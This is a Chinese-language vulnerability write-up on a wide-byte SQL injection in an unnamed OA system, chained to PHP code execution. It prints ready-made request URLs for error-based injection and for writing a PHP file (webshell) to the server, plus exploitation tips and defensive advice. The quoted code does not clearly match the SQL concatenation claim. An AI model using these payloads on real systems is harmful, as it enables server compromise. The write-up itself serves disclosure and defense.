某OA 后台 Getshell 发现及分析
字数 1221 2025-08-03 16:42:26

某OA系统后台Getshell漏洞分析与利用

漏洞概述

本文详细分析某OA系统老版本中存在的宽字节注入漏洞,以及如何利用该漏洞实现Getshell。该漏洞主要由于系统采用GBK编码且多处SQL语句直接拼接变量导致,攻击者可利用宽字节注入配合文件包含漏洞写入Webshell。

漏洞发现

该OA系统老版本中存在多处安全缺陷:

  1. 大量SQL语句直接采用拼接变量的形式
  2. 系统整体采用GBK编码
  3. 缺乏有效的输入过滤和参数化查询

这些缺陷共同导致了宽字节注入漏洞的存在。

漏洞分析

漏洞点一:getModuleQuickLinkStr()函数注入

位于webroot\general\crm\apps\crm\include\interface\list.interface.php文件中的getModuleQuickLinkStr()函数存在SQL注入漏洞:

function getModuleQuickLinkStr($entity) {
    // ...省略部分代码...
    foreach ($entitys as $entity_name => $entity_label) {
        $str .= "<option value='".$entity_name."' title='{$entity_label}'>".(18 < strlen($entity_label) ? substr($entity_label, 0, 16).".." : $entity_label)."</option>";
    }
    // ...省略部分代码...
}

关键问题:

  • $entity_name直接拼接进SQL语句
  • 未对输入进行过滤或转义
  • 系统使用GBK编码,可利用宽字节注入绕过转义

漏洞点二:recycle/show.php文件调用

webroot\general\crm\studio\modules\recycle\show.php文件调用了存在漏洞的getModuleQuickLinkStr()函数,且$ENTITY参数可控:

// 文件包含漏洞函数调用
$ENTITY = $_REQUEST['entity_name'];
// ...省略部分代码...
$quickLinkStr = getModuleQuickLinkStr($ENTITY);

漏洞利用

宽字节注入验证

构造如下Payload验证注入点:

/general/crm/studio/modules/recycle/show.php?entity_name=1%da' and updatexml(1,concat(0x7e,user(),0x7e),1)--+

解释:

  • %da':利用GBK编码特性绕过转义
  • updatexml:触发报错注入,显示当前数据库用户

Getshell利用

构造特殊Payload写入Webshell:

/general/crm/studio/modules/recycle/show.php?entity_name=1%d5' ${ fputs(fopen(base64_decode(YXY4ZC5waHA),w),base64_decode(PD9waHAKCWVjaG8gZGF0ZSgnWS1tLWQgaDppOnMnLCB0aW1lKCkpOw))} #

关键点解析:

  1. %d5':宽字节注入绕过
  2. ${ ... }:执行PHP代码
  3. base64_decode(YXY4ZC5waHA):解码后为av4d.php(Webshell文件名)
  4. base64_decode(PD9waHAKCWVjaG8gZGF0ZSgnWS1tLWQgaDppOnMnLCB0aW1lKCkpOw):解码后为:
    <?php
    echo date('Y-m-d h:i:s', time());
    

重要注意事项

  • Base64编码后的Payload中不能包含=符号,否则无法成功写入
  • 写入的Webshell路径需要可写
  • 需要知道系统绝对路径(可通过报错信息获取)

防御建议

  1. 使用参数化查询:避免直接拼接SQL语句
  2. 统一字符编码:建议使用UTF-8编码
  3. 输入过滤:对所有用户输入进行严格过滤
  4. 最小权限原则:数据库账户使用最小必要权限
  5. 错误处理:避免显示详细错误信息
  6. 文件写入限制:限制Web目录的写入权限
  7. WAF防护:部署Web应用防火墙拦截注入攻击

总结

该漏洞展示了传统OA系统中常见的安全问题组合:宽字节注入、SQL注入和文件写入漏洞的结合。通过深入理解系统编码机制和漏洞原理,攻击者可以构造特殊Payload实现Getshell。开发人员应重视基础安全编码规范,避免此类漏洞的产生。

某OA系统后台Getshell漏洞分析与利用 漏洞概述 本文详细分析某OA系统老版本中存在的宽字节注入漏洞,以及如何利用该漏洞实现Getshell。该漏洞主要由于系统采用GBK编码且多处SQL语句直接拼接变量导致,攻击者可利用宽字节注入配合文件包含漏洞写入Webshell。 漏洞发现 该OA系统老版本中存在多处安全缺陷: 大量SQL语句直接采用拼接变量的形式 系统整体采用GBK编码 缺乏有效的输入过滤和参数化查询 这些缺陷共同导致了宽字节注入漏洞的存在。 漏洞分析 漏洞点一:getModuleQuickLinkStr()函数注入 位于 webroot\general\crm\apps\crm\include\interface\list.interface.php 文件中的 getModuleQuickLinkStr() 函数存在SQL注入漏洞: 关键问题: $entity_name 直接拼接进SQL语句 未对输入进行过滤或转义 系统使用GBK编码,可利用宽字节注入绕过转义 漏洞点二:recycle/show.php文件调用 webroot\general\crm\studio\modules\recycle\show.php 文件调用了存在漏洞的 getModuleQuickLinkStr() 函数,且 $ENTITY 参数可控: 漏洞利用 宽字节注入验证 构造如下Payload验证注入点: 解释: %da' :利用GBK编码特性绕过转义 updatexml :触发报错注入,显示当前数据库用户 Getshell利用 构造特殊Payload写入Webshell: 关键点解析: %d5' :宽字节注入绕过 ${ ... } :执行PHP代码 base64_decode(YXY4ZC5waHA) :解码后为 av4d.php (Webshell文件名) base64_decode(PD9waHAKCWVjaG8gZGF0ZSgnWS1tLWQgaDppOnMnLCB0aW1lKCkpOw) :解码后为: 重要注意事项 : Base64编码后的Payload中不能包含 = 符号,否则无法成功写入 写入的Webshell路径需要可写 需要知道系统绝对路径(可通过报错信息获取) 防御建议 使用参数化查询 :避免直接拼接SQL语句 统一字符编码 :建议使用UTF-8编码 输入过滤 :对所有用户输入进行严格过滤 最小权限原则 :数据库账户使用最小必要权限 错误处理 :避免显示详细错误信息 文件写入限制 :限制Web目录的写入权限 WAF防护 :部署Web应用防火墙拦截注入攻击 总结 该漏洞展示了传统OA系统中常见的安全问题组合:宽字节注入、SQL注入和文件写入漏洞的结合。通过深入理解系统编码机制和漏洞原理,攻击者可以构造特殊Payload实现Getshell。开发人员应重视基础安全编码规范,避免此类漏洞的产生。